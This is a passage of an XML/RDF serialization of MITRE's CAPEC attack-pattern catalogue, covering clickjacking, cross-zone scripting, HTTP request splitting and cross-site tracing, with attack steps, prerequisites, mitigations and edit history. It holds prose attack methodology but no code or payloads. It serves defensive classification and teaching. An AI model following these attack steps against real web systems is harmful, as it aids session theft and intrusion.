subscribe with links to today's news articles. The victim clicks on one of these links and is taken to a page with the news story. There is a screen with an advertisement that appears on top of the news article with the 'skip this ad' button. Eager to read the news article, the user clicks on this button. Nothing happens. The user clicks on the button one more time and still nothing happens.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In reality, the victim activated a hidden action control located in a transparent layer above the 'skip this ad' button. The ad screen blocking the news article made it likely that the victim would click on the 'skip this ad' button. Clicking on the button, actually initiated the transfer of $1000 from the victim's account with an electronic payment service to an adversary's account. Clicking on the 'skip this ad' button the second time (after nothing seemingly happened the first time) confirmed the transfer of funds to the electronic payment service.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 1021 + + + + + + + + + + + + #indTaxonomyMappingClickjacking + Clickjacking + + + + + + + + + + + + + + Clickjacking + + + + + + + + + + + + #indReferenceReference758 + Reference_758 + + + + + + + + + REF-619 + + + + + Testing for Clickjacking + + + + + + + + + + + + #indContentHistoryContentHistory760 + Content_History_760 + + + + + + + + + + + + + + + + #indSubmissionSubmission761 + Submission_761 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification766 + Modification_766 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Description Summary, Examples-Instances, Related_Weaknesses, Resources_Required + + + + + + + + + + + + #indModificationModification772 + Modification_772 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification778 + Modification_778 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification784 + Modification_784 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-104 + Cross Zone Scripting + + + + + + + + + 104 + + + + + Cross Zone Scripting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern800 + Related_Attack_Pattern_800 + + + + + + + + + + + + + + 233 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep805 + Attack_Step_805 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find systems susceptible to the attack] Find systems that contain functionality that is accessed from both the internet zone and the local zone. There needs to be a way to supply input to that functionality from the internet zone and that original input needs to be used later on a page from a local zone.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage knowledge of common local zone functionality on targeted platforms to guide attempted injection of code through relevant internet zone mechanisms. In some cases this may be due to standard system configurations enabling shared functionality between internet and local zones. The attacker can search for indicators that these standard configurations are in place.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep811 + Attack_Step_811 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find the insertion point for the payload] The attacker first needs to find some system functionality or possibly another weakness in the system (e.g. susceptibility to cross site scripting) that would provide the attacker with a mechanism to deliver the payload (i.e. the code to be executed) to the user. The location from which this code is executed in the user's browser needs to be within the local machine zone.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Finding weaknesses in functionality used by both privileged and unprivileged users.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep817 + Attack_Step_817 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft and inject the payload] Develop the payload to be executed in the higher privileged zone in the user's browser. Inject the payload and attempt to lure the victim (if possible) into executing the functionality which unleashes the payload.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker makes it as likely as possible that the vulnerable functionality into which they have injected the payload has a high likelihood of being used by the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage cross-site scripting vulnerability to inject payload.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must be using a zone-aware browser.</xhtml:div> + + + + + + + + + + + + #indSkillSkill829 + Skill_829 + + + + + + + + + + + + + + Ability to craft malicious scripts or find them elsewhere and ability to identify functionality that is running web controls in the local zone and to find an injection vector into that functionality + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence835 + Consequence_835 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence839 + Consequence_839 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence843 + Consequence_843 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence849 + Consequence_849 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disable script execution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that sufficient input validation is performed for any potentially untrusted data before it is used in any privileged context or zone</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Limit the flow of untrusted data into the privileged areas of the system that run in the higher trust zone</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Limit the sites that are being added to the local machine zone and restrict the privileges of the code running in that zone to the bare minimum</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure proper HTML output encoding before writing user supplied data to the page</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There was a cross zone scripting vulnerability discovered in Skype that allowed one user to upload a video with a maliciously crafted title that contains a script. Subsequently, when the victim attempts to use the "add video to chat" feature on attacker's video, the script embedded in the title of the video runs with local zone privileges. Skype is using IE web controls to render internal and external HTML pages. "Add video to chat" uses these web controls and they are running in the Local Zone. Any user who searched for the video in Skype with the same keywords as in the title field, would have the attackers' code executing in their browser with local zone privileges to their host machine (e.g. applications on the victim's host system could be executed).</xhtml:div> + + + + + 250 + + + + + 638 + + + + + 285 + + + + + 116 + + + + + 20 + + + + + + + + + + + + #indContentHistoryContentHistory874 + Content_History_874 + + + + + + + + + + + + + + + + #indSubmissionSubmission875 + Submission_875 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification880 + Modification_880 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification886 + Modification_886 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification892 + Modification_892 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification898 + Modification_898 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-105 + HTTP Request Splitting + + + + + + + + + 105 + + + + + HTTP Request Splitting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;See CanPrecede relationships for possible consequences.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This entails the adversary injecting malicious user input into various standard and/or user defined HTTP headers within a HTTP Request through user input of Carriage Return (CR), Line Feed (LF), Horizontal Tab (HT), Space (SP) characters as well as other valid/RFC compliant special characters and unique character encoding. This malicious user input allows for web script to be injected in HTTP headers as well as into browser cookies or Ajax web/browser object parameters like XMLHttpRequest during implementation of asynchronous requests.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack is usually the result of the usage of outdated or incompatible HTTP protocol versions as well as lack of syntax checking and filtering of user input in the HTTP agents receiving HTTP messages in the path.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This differs from CAPEC-34 HTTP Response Splitting, which is usually an attempt to compromise a client agent (e.g., web browser) by sending malicious content in HTTP responses from back-end HTTP infrastructure. HTTP Request Splitting is an attempt to compromise a&lt;xhtml:i&gt;back-end HTTP agent&lt;/xhtml:i&gt;via HTTP Request messages.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;HTTP Smuggling (CAPEC-33 and CAPEC-273) is different from HTTP Splitting due to the fact it relies upon discrepancies in the interpretation of various HTTP Headers and message sizes and not solely user input of special characters and character encoding. HTTP Smuggling was established to circumvent mitigations against HTTP Request Splitting techniques.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern920 + Related_Attack_Pattern_920 + + + + + + + + + + + + + + 220 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern921 + Related_Attack_Pattern_921 + + + + + + + + + + + + + + 34 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern922 + Related_Attack_Pattern_922 + + + + + + + + + + + + + + 115 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern923 + Related_Attack_Pattern_923 + + + + + + + + + + + + + + 141 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern924 + Related_Attack_Pattern_924 + + + + + + + + + + + + + + 63 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern925 + Related_Attack_Pattern_925 + + + + + + + + + + + + + + 593 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern926 + Related_Attack_Pattern_926 + + + + + + + + + + + + + + 148 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern927 + Related_Attack_Pattern_927 + + + + + + + + + + + + + + 154 + + + + + + + + + + + + #indAttackStepAttackStep930 + Attack_Step_930 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey network to identify target] The adversary performs network reconnaissance by monitoring relevant traffic to identify the network path and parsing of the HTTP messages with the goal of identifying potential targets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scan networks to fingerprint HTTP infrastructure and monitor HTTP traffic to identify HTTP network path with a tool such as a Network Protocol Analyzer.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep936 + Attack_Step_936 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify vulnerabilities in targeted HTTP infrastructure and technologies] The adversary sends a variety of benign/ambiguous HTTP requests to observe responses from HTTP infrastructure in order to identify differences/discrepancies in the interpretation and parsing of HTTP requests by examining supported HTTP protocol versions, HTTP headers, syntax checking and input filtering.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep941 + Attack_Step_941 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cause differential HTTP responses by experimenting with identified HTTP Request vulnerabilities] The adversary sends maliciously crafted HTTP requests with custom strings and embedded web scripts and objects in HTTP headers to interfere with the parsing of intermediary and back-end HTTP infrastructure, followed by normal/benign HTTP request from the adversary or a random user. The intended consequences of the malicious HTTP requests will be observed in the HTTP infrastructure response to the normal/benign HTTP request to confirm applicability of identified vulnerabilities in the adversary's plan of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Continue the monitoring of HTTP traffic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Utilize different sequences of special characters (CR - Carriage Return, LF - Line Feed, HT - Horizontal Tab, SP - Space and etc.) to bypass filtering and back-end encoding and to embed:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;additional HTTP Requests with their own headers&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;malicious web scripts into parameters of HTTP Request headers (e.g., browser cookies like Set-Cookie or Ajax web/browser object parameters like XMLHttpRequest)&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;adversary chosen encoding (e.g., UTF-7)&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;to utilize additional special characters (e.g., &amp;gt; and &amp;lt;) filtered by the target HTTP agent.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Note that certain special characters and character encoding may be applicable only to intermediary and front-end agents with rare configurations or that are not RFC compliant.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Follow an unrecognized (sometimes a RFC compliant) HTTP header with a subsequent HTTP request to potentially cause the HTTP request to be ignored and interpreted as part of the preceding HTTP request.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep958 + Attack_Step_958 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Perform HTTP Request Splitting attack] Using knowledge discovered in the experiment section above, smuggle a message to cause one of the consequences.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage techniques identified in the Experiment Phase.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An additional intermediary HTTP agent such as an application firewall or a web caching proxy between the adversary and the second agent such as a web server, that sends multiple HTTP messages over same network connection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Differences in the way the two HTTP agents parse and interpret HTTP requests and its headers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP headers capable of being user-manipulated.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP agents running on HTTP/1.0 or HTTP/1.1 that allow for Keep Alive mode, Pipelined queries, and Chunked queries and responses.</xhtml:div> + + + + + + + + + + + + #indSkillSkill972 + Skill_972 + + + + + + + + + + + + + + Detailed knowledge on HTTP protocol: request and response messages structure and usage of specific headers. + + + + + + + + + + + + #indSkillSkill973 + Skill_973 + + + + + + + + + + + + + + Detailed knowledge on how specific HTTP agents receive, send, process, interpret, and parse a variety of HTTP messages and headers. + + + + + + + + + + + + #indSkillSkill974 + Skill_974 + + + + + + + + + + + + + + Possess knowledge on the exact details in the discrepancies between several targeted HTTP agents in path of an HTTP message in parsing its message structure and individual headers. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Tools capable of crafting malicious HTTP messages and monitoring HTTP messages responses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Differences in requests processed by the two agents. This requires careful monitoring or a capable log analysis tool.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence983 + Consequence_983 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence989 + Consequence_989 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence995 + Consequence_995 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence999 + Consequence_999 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: evaluate HTTP agents prior to deployment for parsing/interpretation discrepancies.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: front-end HTTP agents notice ambiguous requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: back-end HTTP agents reject ambiguous requests and close the network connection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable reuse of back-end connections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Use HTTP/2 for back-end connections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Use the same web server software for front-end and back-end server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize a Web Application Firewall (WAF) that has built-in mitigation to detect abnormal requests/responses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Install latest vendor security patches available for both intermediary and back-end HTTP infrastructure (i.e. proxies and web servers)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Ensure that HTTP infrastructure in the chain or network path utilize a strict uniform parsing process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize intermediary HTTP infrastructure capable of filtering and/or sanitizing user-input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Microsoft Internet Explorer versions 5.01 SP4 and prior, 6.0 SP2 and prior, and 7.0 contain a vulnerability that could allow an unauthenticated, remote adversary to conduct HTTP request splitting and smuggling attacks. The vulnerability is due to an input validation error in the browser that allows adversaries to manipulate certain headers to expose the browser to HTTP request splitting and smuggling attacks. Attacks may include cross-site scripting, proxy cache poisoning, and session fixation. In certain instances, an exploit could allow the adversary to bypass web application firewalls or other filtering devices. Microsoft has confirmed the vulnerability and released software updates.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 74 + + + + + 113 + + + + + 138 + + + + + 436 + + + + + + + + + + + + #indTaxonomyMappingHTTPRequestSplitting + HTTP Request Splitting + + + + + + + + + + + + + + 24 + + + + + HTTP Request Splitting + + + + + + + + + + + + #indReferenceReference1034 + Reference_1034 + + + + + + + + + REF-117 + + + + + + + + + + + + #indReferenceReference1035 + Reference_1035 + + + + + + + + + REF-617 + + + + + + + + + + + + #indReferenceReference1036 + Reference_1036 + + + + + + + + + REF-679 + + + + + + + + + + + + #indNoteNote1039 + Note_1039 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Splitting – "the act of forcing a sender of (HTTP) messages to emit data stream consisting of more messages than the sender’s intension. The messages sent are 100% valid and RFC compliant" [REF-117].</xhtml:div> + + + + + + + + + + + + #indNoteNote1040 + Note_1040 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Smuggling – "the act of forcing a sender of (HTTP) messages to emit data stream which may be parsed as a different set of messages (i.e. dislocated message boundaries) than the sender’s intention. This is done by virtue of forcing the sender to emit non-standard messages which can be interpreted in more than one way" [REF-117].</xhtml:div> + + + + + + + + + + + + #indNoteNote1041 + Note_1041 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Smuggling is an evolution of previous HTTP Splitting techniques which are commonly remediated against.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory1043 + Content_History_1043 + + + + + + + + + + + + + + + + #indSubmissionSubmission1044 + Submission_1044 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1049 + Modification_1049 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns, Resources_Required + + + + + + + + + + + + #indModificationModification1055 + Modification_1055 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification1061 + Modification_1061 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification1067 + Modification_1067 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Abstraction, References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification1073 + Modification_1073 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Status, Consequences, Description, Example_Instances, Execution_Flow, Extended_Description, Indicators, Mitigations, Notes, Prerequisites, References, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Skills_Required + + + + + + + + + + + + #indModificationModification1079 + Modification_1079 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Extended_Description, Related_Weaknesses + + + + + + + + + + + + #CAPEC-106 + DEPRECATED: XSS through Log Files + + + + + + + + + 106 + + + + + DEPRECATED: XSS through Log Files + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it referes to an existing chain relationship between "CAPEC-93 : Log Injection-Tampering-Forging" and "CAPEC-63 : Cross-Site Scripting". Please refer to these CAPECs going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory1090 + Content_History_1090 + + + + + + + + + + + + + + + + #indSubmissionSubmission1091 + Submission_1091 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1096 + Modification_1096 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification1102 + Modification_1102 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Activation_Zone, Architectural_Paradigms, Attack_Motivation-Consequences, Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, CIA_Impact, Description, Description Summary, Examples-Instances, Frameworks, Injection_Vector, Languages, Methods_of_Attack, Payload, Payload_Activation_Impact, Platforms, Probing_Techniques, Purposes, Related_Attack_Patterns, Related_Security_Principles, Related_Weaknesses, Relevant_Security_Requirements, Resources_Required, Solutions_and_Mitigations, Technical_Context, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName1108 + Previous_Entry_Name_1108 + + + + + + + + + 2017-05-01 + + + + + Cross Site Scripting through Log Files + + + + + + + + + + + + #CAPEC-107 + Cross Site Tracing + + + + + + + + + 107 + + + + + Cross Site Tracing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary uses an XSS attack to have victim's browser sent an HTTP TRACE request to a destination web server, which will proceed to return a response to the victim's web browser that contains the original HTTP request in its body. Since the HTTP header of the original HTTP TRACE request had the victim's session cookie in it, that session cookie can now be picked off the HTTP TRACE response and sent to the adversary's malicious site. XST becomes relevant when direct access to the session cookie via the "document.cookie" object is disabled with the use of httpOnly attribute which ensures that the cookie can be transmitted in HTTP requests but cannot be accessed in other ways. Using SSL does not protect against XST. If the system with which the victim is interacting is susceptible to XSS, an adversary can exploit that weakness directly to get their malicious script to issue an HTTP TRACE request to the destination system's web server.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern1119 + Related_Attack_Pattern_1119 + + + + + + + + + + + + + + 593 + + + + + + + + + + + + #indAttackStepAttackStep1122 + Attack_Step_1122 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine if HTTP Trace is enabled] Determine if HTTP Trace is enabled at the web server with which the victim has an active session</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may issue an HTTP Trace request to the target web server and observe if the response arrives with the original request in the body of the response.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1128 + Attack_Step_1128 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify mechanism to launch HTTP Trace request] The adversary attempts to force the victim to issue an HTTP Trace request to the targeted application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary probes for cross-site scripting vulnerabilities to force the victim into issuing an HTTP Trace request.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1134 + Attack_Step_1134 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create a malicious script that pings the web server with HTTP TRACE request] The adversary creates a malicious script that will induce the victim's browser to issue an HTTP TRACE request to the destination system's web server. The script will further intercept the response from the web server, pick up sensitive information out of it, and forward to the site controlled by the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary's malicious script circumvents the httpOnly cookie attribute that prevents from hijacking the victim's session cookie directly using document.cookie and instead leverages the HTTP TRACE to catch this information from the header of the HTTP request once it is echoed back from the web server in the body of the HTTP TRACE response.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1140 + Attack_Step_1140 + + + + + + + + + 4 + + + + + + + + + + 